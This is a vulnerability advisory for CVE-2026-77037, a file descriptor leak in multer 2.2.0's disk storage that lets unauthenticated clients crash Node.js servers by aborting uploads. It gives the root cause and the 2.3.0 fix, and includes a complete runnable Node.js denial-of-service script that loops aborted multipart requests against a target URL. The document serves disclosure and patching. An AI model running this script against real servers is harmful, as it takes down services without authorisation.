high · 7.5CVE-2026-77037Sep 8, 2026

CVE-2026-77037: multer Denial of Service via File Descriptor Leak on Aborted Uploads

Rohit Hatagale
AI Security Researcher, SecureLayer7

Aborting a file upload to a Node.js app using multer 2.2.0 leaks an open file descriptor every time, so an attacker can exhaust the server's file descriptors and take it down without any…

Packagemulter
Ecosystemnpm
Affected= 2.2.0
Fixed in2.3.0
CVE-2026-77037: multer Denial of Service via File Descriptor Leak on Aborted Uploads

The problem

multer 2.2.0 with diskStorage opens a write stream to disk when a multipart file part begins. If the client disconnects or truncates the request before the upload finishes, multer deletes the on-disk file path but never calls .close() (or .destroy()) on the underlying write stream.

Each aborted request therefore leaves one open file descriptor pinned in the kernel. Because the fd is still open, the disk blocks are not freed either. An unauthenticated attacker with network access to any upload route can repeat this in a tight loop until the process hits the OS fd limit (typically 1024 for unprivileged processes), causing all subsequent I/O, including accepting new connections, to fail.

Proof of concept

A working proof-of-concept for CVE-2026-77037 in multer, with the exact payload below.

javascript
#!/usr/bin/env node
// Derived from patch diff: the fix adds an abort/close handler on the
// source fileStream that was completely absent in 2.2.0. Without it,
// closing the TCP connection mid-upload is all that is needed to leak a fd.
//
// Target: any Express app running multer 2.2.0 diskStorage
// Usage:  node dos.js http://target/upload <field_name> <iterations>

const http  = require('http');
const { URL } = require('url');

const [,, target, field = 'file', iters = '2000'] = process.argv;
const url = new URL(target);
const BOUNDARY = '----FormBoundaryDOSProbe';

// Build just enough of a valid multipart body to open the write stream on
// the server, then destroy the socket before sending any actual file data.
function leakOneFd () {
  return new Promise((resolve) => {
    const headers = [
      `--${BOUNDARY}`,
      `Content-Disposition: form-data; name="${field}"; filename="a.bin"`,
      'Content-Type: application/octet-stream',
      '',
      '',   // empty line ends headers; body begins here but we abort immediately
    ].join('\r\n');

    const req = http.request({
      hostname: url.hostname,
      port:     url.port || 80,
      path:     url.pathname,
      method:   'POST',
      headers: {
        'Content-Type': `multipart/form-data; boundary=${BOUNDARY}`,
        // Large declared length so multer keeps the stream open
        'Content-Length': '999999999',
      },
    });

    req.on('error', resolve);   // expected: connection reset
    req.write(headers);         // server opens the write fd here
    req.destroy();              // drop the socket -- fd now leaks in multer 2.2.0
    resolve();
  });
}

(async () => {
  const n = parseInt(iters, 10);
  console.log(`Sending ${n} aborted uploads to ${target} ...`);
  for (let i = 0; i < n; i++) {
    await leakOneFd();
  }
  console.log('Done. Check server fd count: ls -1 /proc/<pid>/fd | wc -l');
})();

The root cause is CWE-404 / CWE-459: the disk storage engine calls fs.createWriteStream and pipes the incoming file stream into it, but the aborted / close / error events on the source stream have no handler that closes the destination write stream. When the source ends abnormally, the pipe simply stops delivering data.

The write stream object goes out of scope but the underlying OS file descriptor remains open because Node.js only closes a stream fd when .end() or .destroy() is called on it.

The 2.3.0 patch adds an explicit handler on abnormal source termination that calls .destroy() on the write stream and defers the unlink cleanup until the close event fires, ensuring the fd is always released. The payload above replicates the exact condition the patch closes: send enough of a multipart header for multer to open the write stream, then destroy the TCP socket before sending file data.

The fix

Upgrade multer to 2.3.0 (npm install multer@2.3.0). No workaround exists for 2.2.0. If an immediate upgrade is blocked, consider placing a reverse proxy (nginx, Caddy) in front of the application and setting a tight client_body_timeout so the proxy drops slow or truncated uploads before they reach Node.js.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research